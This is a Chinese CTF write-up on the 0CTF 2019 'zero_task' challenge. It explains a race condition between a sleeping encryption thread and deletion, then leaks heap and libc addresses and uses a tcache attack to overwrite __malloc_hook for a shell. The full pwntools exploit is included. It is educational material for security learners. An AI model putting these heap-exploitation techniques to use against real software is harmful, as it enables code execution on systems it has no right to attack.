条件竞争利用初体验

发布者:Seclusion
发布于:2019-06-06 09:41

2019-0ctf-zero_task

前言

几个月前的一道题目,最近由于某些巧合又拿出来复现了一遍,这是我第一次接触条件竞争类型的题目,分享给大家。
当初这道题目磕了好久,结果被队友大佬做出来了,赛后看了看各位师傅的exp学到了很多东西,其中姿势比较骚的就是raycp师傅的wp了,下面分析的也是raycp师傅的exp。

前置知识

这道题目是2019-0ctf题目当中的一道题目,是很正常的node形式的题目,唯一有点特别的就是对于数据的处理调用了openssl中的关于AES加解密的函数,加解密步骤如下:

	unsigned char key[32] = {1};
    unsigned char iv[16] = {0};
    unsigned char *inStr = "this is test string";
    int inLen = strlen(inStr);
    int encLen = 0;
    int outlen = 0;
    unsigned char encData[1024];
    
    printf("source: %s\n",inStr);
    
    //加密
    EVP_CIPHER_CTX *ctx;
    ctx = EVP_CIPHER_CTX_new();
    
    EVP_CipherInit_ex(ctx, EVP_aes_256_ecb(), NULL, key, iv, 1);
    EVP_CipherUpdate(ctx, encData, &outlen, inStr, inLen);
    encLen = outlen;
    EVP_CipherFinal(ctx, encData+outlen, &outlen);
    encLen += outlen;
    EVP_CIPHER_CTX_free(ctx);
    
    
    //解密
    int decLen = 0;
    outlen = 0;
    unsigned char decData[1024];
    EVP_CIPHER_CTX *ctx2;
    ctx2 = EVP_CIPHER_CTX_new();
    EVP_CipherInit_ex(ctx2, EVP_aes_256_ecb(), NULL, key, iv, 0);
    EVP_CipherUpdate(ctx2, decData, &outlen, encData, encLen);
    decLen = outlen;
    EVP_CipherFinal(ctx2, decData+outlen, &outlen);
    decLen += outlen;
    EVP_CIPHER_CTX_free(ctx2);
    
    decData[decLen] = '\0';
    printf("decrypt: %s\n",decData);

参考:https://www.cnblogs.com/cocoajin/p/6121706.html

程序逻辑

打开程序的菜单函数,看到函数的基本功能如下:

  puts("1. Add task");
  puts("2. Delete task");
  puts("3. Go");
  return printf("Choice: ");

只有三个主要功能,增加节点,删除节点,Go的功能是根据节点的特征值对于节点中的数据进行加解密操作。

add

  printf("Task id : ", 0LL);
  id = get_input();
  printf("Encrypt(1) / Decrypt(2): ");//有加解密两种模式
  v1 = get_input();
  if ( v1 != 1 && v1 != 2 )
    return (void *)0xFFFFFFFFLL;
  s = malloc(0x70uLL); // node空间的大小为0x70
  memset(s, 0, 0x70uLL);
  if ( !(unsigned int)sub_11A8(v1, (__int64)s) ) //功能函数
    return (void *)0xFFFFFFFFLL;
  *((_DWORD *)s + 24) = id; // offset = 0x60
  *((_QWORD *)s + 13) = node_202028;  // offset = 0x68
  result = s;
  node_202028 = (__int64)s;//将新创建的节点放在bss段里面,很明了,这道题目是通过链表维护node节点。

跟进sub_11A8()功能函数,进一步分析功能函数的主要功能。

  printf("Key : ", a2);
  read_F82(v4 + 20, 32);//KEY_offset = 0x14  
  printf("IV : ", 32LL);
  read_F82(v4 + 52, 16);//IV_offset = 0x34
  printf("Data Size : ", 16LL);
  size = (unsigned int)get_input();
  if ( (signed int)size <= 0 || (signed int)size > 4096 )
    return 0LL;
  *(_QWORD *)(v4 + 8) = (signed int)size;// size_offset = 0x8
  *(_QWORD *)(v4 + 88) = EVP_CIPHER_CTX_new(); //ctx_offset = 0x58
  if ( a1 == 1 )
  {
    v3 = EVP_aes_256_cbc();
    EVP_EncryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
  }
  else
  {
    if ( a1 != 2 )
      return 0LL;
    v3 = EVP_aes_256_cbc();
    EVP_DecryptInit_ex(*(_QWORD *)(v4 + 88), v3, 0LL, v4 + 20, v4 + 52);
  }
  *(_DWORD *)(v4 + 16) = a1;//mark_offset = 0x10  判断是加密还是解密
  *(_QWORD *)v4 = malloc(*(_QWORD *)(v4 + 8));//chunk_offset = 0x0 , 分配一个size大小的空间存储数据
  if ( !*(_QWORD *)v4 )
    exit(1);
  printf("Data : ", v3);
  read_F82(*(_QWORD *)v4, *(_QWORD *)(v4 + 8));
  return 1LL;

Yeah,通过上面的分析,程序结构现在已经可以被我们弄清楚了,如下:

node_struct
{
	0x0 : chunk
	0x8 : size
	0x10 : mark 标志位,记录加密/解密
	0x14 : KEY
	0x34 : IV
	0x58 : ctx
	0x60 : task_id
	0x68 : pre_node
}

在add的过程当中会进行四次malloc过程:

结构体malloc(0x70): 0x80

EVP_CIPHER_CTX_new(): 创建ctx对象0xb0大小chunk

EVP_EncryptInit_ex/EVP_DecryptInit_ex函数: 创建0x110大小chunk

根据输入的chunk size的chunk

delete

程序逻辑比较清楚,就是单纯的对node链表解链,然后利用openssl接口对于申请的chunk进行释放。

  
  ptr = (void **)node_202028;
  v2 = node_202028;
  printf("Task id : ");
  v0 = get_input();
  if ( node_202028 && v0 == *(_DWORD *)(node_202028 + 96) )
  {
    node_202028 = *(_QWORD *)(node_202028 + 104); // 解链
    EVP_CIPHER_CTX_free((__int64)ptr[11]);//调用openssl接口释放chunk
    free(*ptr);
    free(ptr);
  }
  else
  {
    while ( ptr )
    {
      if ( v0 == *((_DWORD *)ptr + 24) )
      {
        *(_QWORD *)(v2 + 104) = ptr[13]; // 解链
        EVP_CIPHER_CTX_free((__int64)ptr[11]); //调用openssl接口释放chunk
        free(*ptr);
        free(ptr);
        return;
      }
      v2 = (__int64)ptr;
      ptr = (void **)ptr[13];
    }
  }
}

GO

这个函数是解题的关键函数。

我当初做这道题目的时候并不了解条件竞争题目的解法,一直苦苦思索好久而不得解,最后被同队大佬解出。

  int v1; // [rsp+4h] [rbp-1Ch]
  pthread_t newthread; // [rsp+8h] [rbp-18h]
  void *arg; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("Task id : ");
  v1 = get_input();
  for ( arg = (void *)node_202028; arg; arg = (void *)*((_QWORD *)arg + 13) )
  {
    if ( v1 == *((_DWORD *)arg + 24) )
    {
      pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, arg);//开辟新线程
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;

进到start_routine里面分析程序逻辑

  v5 = __readfsqword(0x28u);
  v2 = (unsigned __int64)a1;
  v1 = 0;
  v3 = 0LL;
  v4 = 0LL;
  puts("Prepare...");
  sleep(2u);  // 这就是程序的关键所在,sleep 2s中足够造成条件竞争,进而引起数据的混乱
  memset(qword_202030, 0, 0x1010uLL);
  if ( !(unsigned int)EVP_CipherUpdate(
                        *(_QWORD *)(v2 + 88),
                        (__int64)qword_202030,
                        (__int64)&v1,
                        *(_QWORD *)v2,
                        (unsigned int)*(_QWORD *)(v2 + 8)) )
    pthread_exit(0LL);
  *((_QWORD *)&v2 + 1) += v1;
  if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 88), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
    pthread_exit(0LL);
  *((_QWORD *)&v2 + 1) += v1;
  puts("Ciphertext: ");
  sub_107B(stdout, (__int64)qword_202030, *((unsigned __int64 *)&v2 + 1), 0x10uLL, 1uLL);//打印加密/解密 后的数据
  pthread_exit(0LL);

程序结构测试

这道题目malloc、free chunk的过程有点特殊,实际测试一下malloc、free的过程,确定一下过程细节,再加深一下数据结构理解。

测试代码如下:

    def add(idx=1,way=1,key='1'*0x20,IV='a'*0x10,size=0,data='',go_flag=False):
		if not go_flag:
			ru('3. Go')
		sl('1')
		ru('id : ')
		sl(str(idx))
		ru('(2): ')
		sl(str(way))
		ru('Key : ')
		s(key)
		ru('IV : ')
		s(IV)
		ru('Size : ')
		sl(str(size))
		ru('Data : ')
		s(data)

	def delete(idx,go_flag=False):
		if not go_flag:
			ru('3. Go')
		sl('2')
		ru('id : ')
		sl(str(idx))

	add(0,1,size=0x10,data='a'*0x10)
	add(1,1,size=0x10,data='a'*0x10)

	delete(0)

	ru('ice:')
	sl('3')
	ru('id :')
	sl('1')

测试过程就是添加两个node,然后释放一个,然后加密一个。

程序刚开始的heap信息如下:

pwndbg> heap
0x555555757000 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x251,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}
0x555555757250 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x1021,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}
0x555555758270 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x1fd91,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}

增添一个节点,增加了四个chunk,和我们的分析是吻合的。

pwndbg> heap
0x555555757000 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x251,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}
0x555555757250 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x1021,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}
0x555555758270 FASTBIN {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x81,
  fd = 0x5555557584c0,
  bk = 0x10,
  fd_nextsize = 0x3131313100000001,
  bk_nextsize = 0x3131313131313131,
}
0x5555557582f0 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0xb1,
  fd = 0x7ffff7b98620,
  bk = 0x0,
  fd_nextsize = 0x1,
  bk_nextsize = 0x6161616161616161,
}
0x5555557583a0 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x111,
  fd = 0x3131313131313131,
  bk = 0x3131313131313131,
  fd_nextsize = 0x3131313131313131,
  bk_nextsize = 0x3131313131313131,
}
0x5555557584b0 FASTBIN {
  mchunk_prev_size = 0x7ffff78126c0,
  mchunk_size = 0x21,
  fd = 0x6161616161616161,
  bk = 0x6161616161616161,
  fd_nextsize = 0x0,
  bk_nextsize = 0x1fb31,
}
0x5555557584d0 PREV_INUSE {
  mchunk_prev_size = 0x0,
  mchunk_size = 0x1fb31,
  fd = 0x0,
  bk = 0x0,
  fd_nextsize = 0x0,
  bk_nextsize = 0x0,
}

查看node_chunk详细信息,和我们分析的数据结构是吻合的。

0x555555758270:	0x0000000000000000	0x0000000000000081
0x555555758280:	0x00005555557584c0	0x0000000000000010
0x555555758290:	0x3131313100000001	0x3131313131313131
0x5555557582a0:	0x3131313131313131	0x3131313131313131
0x5555557582b0:	0x6161616131313131	0x6161616161616161
0x5555557582c0:	0x0000000061616161	0x0000000000000000
0x5555557582d0:	0x0000000000000000	0x0000555555758300
0x5555557582e0:	0x0000000000000000	0x0000000000000000

delete的时候,同时释放四个chunk。

pwndbg> bins
tcachebins
0x20 [  1]: 0x5555557584c0 ◂— 0x0
0x80 [  1]: 0x555555758280 ◂— 0x0
0xb0 [  1]: 0x555555758300 ◂— 0x0
0x110 [  1]: 0x5555557583b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

进行加解密操时,将操作结果放在指定的最开始申请的chunk中。

利用过程

说明

调试的exp来自raycp师傅,代码很详尽每一步都有注释,师傅博客:https://ray-cp.github.io/

利用流程

1. 刚开始构造几个node,为我们后面利用做准备。
    #gdb.attach(p,'b * 0x555555555724')
    add(9999,1,size=0x10,data='a'*0x10) #use to get shell.
    add(999,1,size=0x10,data='a'*0x10)  #enc_struct to build fake enc
    #debug(0x1253)
    add(99,2,size=0x10,data='a'*0x10)   #dec_struct to build fake dec
2. 利用条件竞争泄露heap地址
    ## step 1 leak heap address
    add(0,1,size=0x70,data='a'*0x70)
    add(1,1,size=0x20,data='a'*0x20) #8c50
    add(2,1,size=0x70,data='a'*0x70)
    #gdb.attach(p,'b * 0x555555555724')
    
    delete(0)
    go(1) # 触发条件竞争
    delete(1,True)
    delete(2)
    add(4,1,size=0x20,data='a'*0x20)
    add(5,1,size=0x20,data='a'*0x20)   # 1 chunk's enc_struct must be malloced out,after this operation, there are still 3 chunks with size of 0x80 and 1 chunk with size 0xb0, 1 chunk with size 0x110 for aes algorithm

    #gdb.attach(p,'b * 0x555555555724')
    ### leak
    p.recvuntil('text: \n')
    
    data=p.recvuntil('\n')
    data=data.replace(" ",'').strip()
    #print data
         
    d = pc.decrypt(data)                     
    heap_addr=u64(d[:8])
    #print hex(heap_addr)
    heap_base=heap_addr-0x1be0
    enc_struct_addr=heap_base+0x1300
    dec_struct_addr=heap_base+0x17c0
    print "heap_base",hex(heap_base)

代码中利用go(1)开启新线程,进入sleep(2)的等待,在这个等待期间进行了如下操作,

    delete(1,True)
    delete(2)
    add(4,1,size=0x20,data='a'*0x20)
    add(5,1,size=0x20,data='a'*0x20)

此时bins中的结构如下:

tcachebins
0x80 [  3]: 0x555555758c60 —▸ 0x5555557589a0 —▸ 0x555555758be0 ◂— 0x0
0xb0 [  1]: 0x555555758a20 ◂— 0x0
0x110 [  1]: 0x555555758ad0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

将要进行加密操作的node节点的地址为0x58c60,现在经过经过操作后,按照加密逻辑,将要被加密并且输出的是0x555555758be0(0x555555758c60 —▸ 0x5555557589a0 —▸ 0x555555758be0),所以我们可以通过接收字符串,利用相同的KEY、IV进行解密,得到heap信息。

后面就是清空bins链表

    ### do some thing clean the tcache list
    add(6,1,size=0x70,data='a'*0x70,go_flag=True)
    add(7,1,size=0x70,data='a'*0x70)
3. 泄露libc
    ## step 2 uaf to leak libc address.

    ### first free chunk to unsorted bin chunk to get libc address.
    for i in range(0,7):
        add(100+i,1,size=0x80,data='a'*0x80)
    #debug(0x1253)
    add(200,1,size=0x80,data='a'*0x80) # which chunk of content use to leak libc address
    
    leak_libc_heap=heap_base+0x3b10
    add(201,1,size=0x30,data='a'*0x30) # 
    for i in range(0,7):
        delete(100+i)
    
    ### malloc out one chunk with size of 0x80
    add(201,1,size=0x70,data='a'*0x70)
    
    gdb.attach(p,'b * 0x555555555724')
    ### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200)
    #debug(0x15c6)
    go(200) # 0xa8c0 触发条件竞争
    p.recvuntil('Prepare...')
    #debug(0x14f3)
    delete(200,True)
    delete(201)
    
         		 fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0)
    add(203,1,size=0x70,data=fake_enc)  ## the key to leak libc   控制0xa8c0的结构
    
    p.recvuntil('text: \n')
    
    data=p.recvuntil('\n')
    data=data.replace(" ",'').strip()
    print data
         
    d = pc.decrypt(data)                     
    libc_addr=u64(d[:8])
    #print hex(libc_addr)
    libc_base=libc_addr-0x3ebca0
    print "libc_base",hex(libc_base)
    rce=libc_base+0x10a38c 
    malloc_hook=libc_base+libc.symbols['__malloc_hook']

泄露libc的步骤就是填满tcache,然后释放chunk到unsorted bin中,然后利用uaf伪造chunk内容,打印libc的信息。

主要来看一下下面几个关键步骤。

### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200)
    #debug(0x15c6)
    go(200) # 0xa8c0 触发条件竞争
    p.recvuntil('Prepare...')
    #debug(0x14f3)
    delete(200,True)
    delete(201)
    
         		 fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0)
    add(203,1,size=0x70,data=fake_enc)  ## the key to leak libc   控制0xa8c0的结构

首先利用触发条件竞争,这个node对应的addr为0xa8c0。

然后下面几步操作控制0xa8c0的内容,使其打印unsortedbin中含有的libc信息,进行完最后的add操作时,0xa8c0的内容如下。

pwndbg> x/40xg 0x55555575a8c0
0x55555575a8c0:	0x0000000000000000	0x0000000000000081
0x55555575a8d0:	0x000055555575ab10	0x0000000000000010
0x55555575a8e0:	0x3131313100000001	0x3131313131313131
0x55555575a8f0:	0x3131313131313131	0x3131313131313131
0x55555575a900:	0x6161616131313131	0x6161616161616161
0x55555575a910:	0x0000000061616161	0x0000000000000000
0x55555575a920:	0x0000000000000000	0x0000555555758300
0x55555575a930:	0x000000000000000b	0x0000000000000000
0x55555575a940:	0x0000000000000000	0x00000000000000b1
0x55555575a950:	0x00007ffff7b98620	0x0000000000000000
  
pwndbg> x/4xg 0x000055555575ab00
0x55555575ab00:	0x00007ffff78126c0	0x0000000000000091
0x55555575ab10:	0x00007ffff776dca0	0x000055555575a670

libc_version:2.27
arch:64
tcache_enable:True
libc_base:0x7ffff7382000
heap_base:0x555555757000
(0x80)    fastbins[6] -> 0x55555575a5f0 


(0x80)    entries[6] -> 0x55555575a060 -> 0x555555759d90 -> 0x555555759ac0 -> 0x5555557597f0 -> 0x555555759520 
(0x90)    entries[7] -> 0x55555575a840 -> 0x55555575a570 -> 0x55555575a2a0 -> 0x555555759fd0 -> 0x555555759d00 -> 0x555555759a30 -> 0x555555759760 
(0xb0)    entries[9] -> 0x55555575a3b0 -> 0x55555575a0e0 -> 0x555555759e10 -> 0x555555759b40 -> 0x555555759870 -> 0x5555557595a0 
(0x110)    entries[15] -> 0x55555575a460 -> 0x55555575a190 -> 0x555555759ec0 -> 0x555555759bf0 -> 0x555555759920 -> 0x555555759650 
top: 0x55555575ae10
last_remainder: 0x0
unsortedbins: <-> 0x55555575ab00 <-> 0x55555575a670     

如上便可以将libc的信息泄露出来。

4. 复写malloc_hook
    ## step uaf to write a fastbin chunk
    
    ### do some thing to clean the tcache
    add(100+0,1,size=0x80,data='a'*0x80,go_flag=True)
    for i in range(1,7):
        add(100+i,1,size=0x80,data='a'*0x80)
    
    gdb.attach(p,'b * 0x555555555724')
    payload=p64(malloc_hook)*4
    payload=pc.encrypt(payload)
    payload=payload.decode('hex')
    
    #debug(0x12f5)
    payload_addr=heap_base+0x4180  # 0xb180
    add(1000,1,size=0x1000,data=payload*(0x1000/len(payload)))
    add(300,1,size=0x30,data='a'*0x30)
    add(301,1,size=0x70,data='a'*0x70)
    #debug(0x14f3)
    delete(9999)  # free the evil
    evil_addr=heap_base+0x14c0  #0x84b0
    global_ptr=evil_addr-0x1260 #0x7260
    #debug(0x15c6)
    go(300)
    delete(300,go_flag=True)
    delete(301)
    add(400,1,size=0x30,data='a'*0x30)
    fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0)
    add(401,1,size=0x70,data=fake_dec)  ## the key to overwrite the fastbin chunk
    data=p64(rce)*(0x70/8)
    
    sleep(2)
    #debug(0x12f5)
    #haha ,overwrite the malloc_hook to rce
    add(500,1,size=0x70,data=data)

上述代码中比较关键的部分就是下面这些

    evil_addr=heap_base+0x14c0  #0x84b0
    global_ptr=evil_addr-0x1260 #0x7260
    #debug(0x15c6)
    go(300)
    delete(300,go_flag=True)
    delete(301)
    add(400,1,size=0x30,data='a'*0x30)
    fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0)
    add(401,1,size=0x70,data=fake_dec)  ## the key to overwrite the fastbin chunk
    data=p64(rce)*(0x70/8)

运行截止到后,bins链表如下

pwndbg> bins
tcachebins
0x20 [  1]: 0x5555557584c0 ◂— 0x0
0x80 [  3]: 0x55555575c650 —▸ 0x55555575c190 —▸ 0x555555758280 ◂— 0x0
0xb0 [  2]: 0x55555575c210 —▸ 0x555555758300 ◂— 0x0
0x110 [  2]: 0x55555575c2c0 —▸ 0x5555557583b0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

可以看出,下次add()的时候就可以控制0xc180的内容,即之前go(300)的对应的node的内容。

add()之后,控制的node结构如下:

pwndbg> x/50xg 0x55555575c180
0x55555575c180:	0x0000000000000000	0x0000000000000081
0x55555575c190:	0x000055555575b150	0x0000000000001030
0x55555575c1a0:	0x3131313100000001	0x3131313131313131
0x55555575c1b0:	0x3131313131313131	0x3131313131313131
0x55555575c1c0:	0x6161616131313131	0x6161616161616161
0x55555575c1d0:	0x0000000061616161	0x0000000000000000
0x55555575c1e0:	0x0000000000000000	0x00005555557587c0
0x55555575c1f0:	0x000000000000000b	0x0000000000000000
0x55555575c200:	0x0000000000000000	0x00000000000000b1

可以看到,现在我们已经把data_size写成0x1030个字节,因为存储加密/解密数据的chunk之后0x1020个字节,因此可以造成数据溢出,因为是tcache结构,所以我们可以构造tcache_attack。

最终效果如下:

pwndbg> x/20xg 0x0000555555758250
0x555555758250:	0xeabbc1f8a364c83c	0xfe36a77585673855
0x555555758260:	0x00007ffff776dc30	0x00007ffff776dc30
0x555555758270:	0xeabbc1f8a364c83c	0xfe36a77585673855
0x555555758280:	0x00007ffff776dc30	0x00007ffff776dc30
0x555555758290:	0x3131313100000001	0x3131313131313131
0x5555557582a0:	0x3131313131313131	0x3131313131313131
0x5555557582b0:	0x6161616131313131	0x6161616161616161
0x5555557582c0:	0x0000000061616161	0x0000000000000000
0x5555557582d0:	0x0000000000000000	0x0000555555758300
0x5555557582e0:	0x000000000000270f	0x0000000000000000
pwndbg> bins
tcachebins
0x20 [  1]: 0x5555557584c0 ◂— 0x0
0x80 [  1]: 0x555555758280 —▸ 0x7ffff776dc30 (__malloc_hook) ◂— 0x0
0xb0 [  1]: 0x555555758300 ◂— 0x0
0x110 [  1]: 0x5555557583b0 ◂— 0x0

下面就简单了 , 简单的tcache_attack,复写__malloc_hook最终触发malloc,get shell。

完整exp
#author : raycp
#link:    https://ray-cp.github.io/

from pwn import *
import sys
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
DEBUG = 1
if DEBUG:
     p = process('./zero_task')
     e = ELF('./zero_task')
     context.log_level = 'debug'
     #libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')b0verfl0w
     libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
     #p = process(['./reader'], env={'LD_PRELOAD': os.path.join(os.getcwd(),'libc-2.19.so')})
     #libc = ELF('./libc64.so')
     
     
else:
     p = remote('111.186.63.201', 10001)
     libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
     #libc = ELF('libc_64.so.6')

wordSz = 4
hwordSz = 2
bits = 32
PIE = 0
mypid=0
def leak(address, size):
   with open('/proc/%s/mem' % mypid) as mem:
      mem.seek(address)
      return mem.read(size)

def findModuleBase(pid, mem):
   name = os.readlink('/proc/%s/exe' % pid)
   with open('/proc/%s/maps' % pid) as maps:
      for line in maps:
         if name in line:
            addr = int(line.split('-')[0], 16)
            mem.seek(addr)
            if mem.read(4) == "\x7fELF":
               bitFormat = u8(leak(addr + 4, 1))
               if bitFormat == 2:
                  global wordSz
                  global hwordSz
                  global bits
                  wordSz = 8
                  hwordSz = 4
                  bits = 64
               return addr
   log.failure("Module's base address not found.")
   sys.exit(1)

def debug(addr):
    global mypid
    mypid = proc.pidof(p)[0]
    #raw_input('debug:')
    
    with open('/proc/%s/mem' % mypid) as mem:
        moduleBase = findModuleBase(mypid, mem)
        print "program_base",hex(moduleBase)
        gdb.attach(p, "set follow-fork-mode child\nb *" + hex(moduleBase+addr))

class prpcrypt():
    def __init__(self, key,iv):
        self.key = key
        self.mode = AES.MODE_CBC
        self.iv = iv
     
    
    def encrypt(self, text):
        cryptor = AES.new(self.key, self.mode, self.iv)
        length = 32
        count = len(text)
        if(count % length != 0) :
                add = length - (count % length)
        else:
            add = 0
        text = text + ('\0' * add)
        self.ciphertext = cryptor.encrypt(text)
        return b2a_hex(self.ciphertext)
     
    
    def decrypt(self, text):
        cryptor = AES.new(self.key, self.mode, self.iv)
        plain_text = cryptor.decrypt(a2b_hex(text))
        return plain_text.rstrip('\0')
 

def add(idx=1,way=1,key='1'*0x20,IV='a'*0x10,size=0,data='',go_flag=False):
    if not go_flag:
        p.recvuntil('3. Go')
    p.sendline('1')
    p.recvuntil('id : ')
    p.sendline(str(idx))
    p.recvuntil('(2): ')
    p.sendline(str(way))
    p.recvuntil('Key : ')
    p.send(key)
    p.recvuntil('IV : ')
    p.send(IV)
    p.recvuntil('Size : ')
    p.sendline(str(size))
    p.recvuntil('Data : ')
    p.send(data)

def delete(idx,go_flag=False):
    if not go_flag:
        p.recvuntil('3. Go')
    p.sendline('2')
    p.recvuntil('id : ')
    p.sendline(str(idx))
def delete1(idx):
    #p.recvuntil('3. Go')
    p.sendline('2')
    p.recvuntil('id : ')
    p.sendline(str(idx))
def go(idx):
    p.recvuntil('3. Go')
    p.sendline('3')
    p.recvuntil('id : ')
    p.sendline(str(idx))

def pwn():
    pc = prpcrypt('1'*0x20,'a'*0x10) #aes algrithom
    
    #gdb.attach(p,'b * 0x555555555724')
    add(9999,1,size=0x10,data='a'*0x10) #use to get shell.
    add(999,1,size=0x10,data='a'*0x10)  #enc_struct to build fake enc
    #debug(0x1253)
    add(99,2,size=0x10,data='a'*0x10)   #dec_struct to build fake dec

    ## step 1 leak heap address
    add(0,1,size=0x70,data='a'*0x70)
    add(1,1,size=0x20,data='a'*0x20) #8c50
    add(2,1,size=0x70,data='a'*0x70)
    #gdb.attach(p,'b * 0x555555555724')
    
    delete(0)
    go(1)
    delete(1,True)
    delete(2)
    add(4,1,size=0x20,data='a'*0x20)
    add(5,1,size=0x20,data='a'*0x20)   # 1 chunk's enc_struct must be malloced out,after this operation, there are still 3 chunks with size of 0x80 and 1 chunk with size 0xb0, i don't know somehow there is one more chunk with size 0x110, maybe for aes algorithm

    #gdb.attach(p,'b * 0x555555555724')
    ### leak
    p.recvuntil('text: \n')
    
    data=p.recvuntil('\n')
    data=data.replace(" ",'').strip()
    #print data
         
    d = pc.decrypt(data)                     
    heap_addr=u64(d[:8])
    #print hex(heap_addr)
    heap_base=heap_addr-0x1be0
    enc_struct_addr=heap_base+0x1300
    dec_struct_addr=heap_base+0x17c0
    print "heap_base",hex(heap_base)
    
    ### do some thing clean the tcache list
    add(6,1,size=0x70,data='a'*0x70,go_flag=True)
    add(7,1,size=0x70,data='a'*0x70)

    ## step 2 uaf to leak libc address.

    ### first free chunk to unsorted bin chunk to get libc address.
    for i in range(0,7):
        add(100+i,1,size=0x80,data='a'*0x80)
    #debug(0x1253)
    add(200,1,size=0x80,data='a'*0x80) # which chunk of content use to leak libc address
    
    leak_libc_heap=heap_base+0x3b10
    add(201,1,size=0x30,data='a'*0x30) # 
    for i in range(0,7):
        delete(100+i)
    
    ### malloc out one chunk with size of 0x80
    add(201,1,size=0x70,data='a'*0x70)
    
    #gdb.attach(p,'b * 0x555555555724')
    ### go with 200 and free 200 and 201 and add one which will build a fake struct(uaf in 200)
    #debug(0x15c6)
    go(200) # 0xa8c0
    p.recvuntil('Prepare...')
    #debug(0x14f3)
    delete(200,True)
    delete(201)
    
    fake_enc=p64(leak_libc_heap)+p64(0x10)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(enc_struct_addr)+p64(0xb)+p64(0)
    add(203,1,size=0x70,data=fake_enc)  ## the key to leak libc
    
    p.recvuntil('text: \n')
    
    data=p.recvuntil('\n')
    data=data.replace(" ",'').strip()
    print data
         
    d = pc.decrypt(data)                     
    libc_addr=u64(d[:8])
    #print hex(libc_addr)
    libc_base=libc_addr-0x3ebca0
    print "libc_base",hex(libc_base)
    rce=libc_base+0x10a38c 
    malloc_hook=libc_base+libc.symbols['__malloc_hook']
    ## step uaf to write a fastbin chunk
    
    ### do some thing to clean the tcache
    add(100+0,1,size=0x80,data='a'*0x80,go_flag=True)
    for i in range(1,7):
        add(100+i,1,size=0x80,data='a'*0x80)
    
    #gdb.attach(p,'b * 0x555555555724')
    payload=p64(malloc_hook)*4
    payload=pc.encrypt(payload)
    payload=payload.decode('hex')
    
    #debug(0x12f5)
    payload_addr=heap_base+0x4180  # 0xb180
    add(1000,1,size=0x1000,data=payload*(0x1000/len(payload)))
    add(300,1,size=0x30,data='a'*0x30) # 0xc180
    add(301,1,size=0x70,data='a'*0x70) # 0xc400
    #debug(0x14f3)
    delete(9999)  # free the evil
    evil_addr=heap_base+0x14c0  #0x84b0
    global_ptr=evil_addr-0x1260 #0x7260
    #debug(0x15c6)
    go(300) #0xc180
    delete(300,go_flag=True)
    delete(301)
    add(400,1,size=0x30,data='a'*0x30)
    fake_dec=p64(payload_addr-0x30)+p64(0x1000+0x30)+p32(1)+'1'*0x20+'a'*0x10+p32(0)+p64(0)+p64(0)+p64(dec_struct_addr)+p64(0xb)+p64(0)
    add(401,1,size=0x70,data=fake_dec)  ## the key to overwrite the fastbin chunk
    data=p64(rce)*(0x70/8)
    
    #overflow at the aim_heap, to make tacache_attack
    sleep(2)
    gdb.attach(p,'b * 0x555555555724')
    #debug(0x12f5)
    #haha ,overwrite the malloc_hook to rce
    add(500,1,size=0x70,data=data)
    
    #trigger malloc
    p.recvuntil('3. Go')
    p.sendline('1')
    p.recvuntil('id : ')
    p.sendline('1')
    p.recvuntil(':')
    p.sendline('1')
    
    p.interactive()
    

if __name__ == '__main__':
   pwn()
#flag{pl4y_w1th_u4F_ev3ryDay_63a9d2a26f275685665dc02b886b530e}

总结

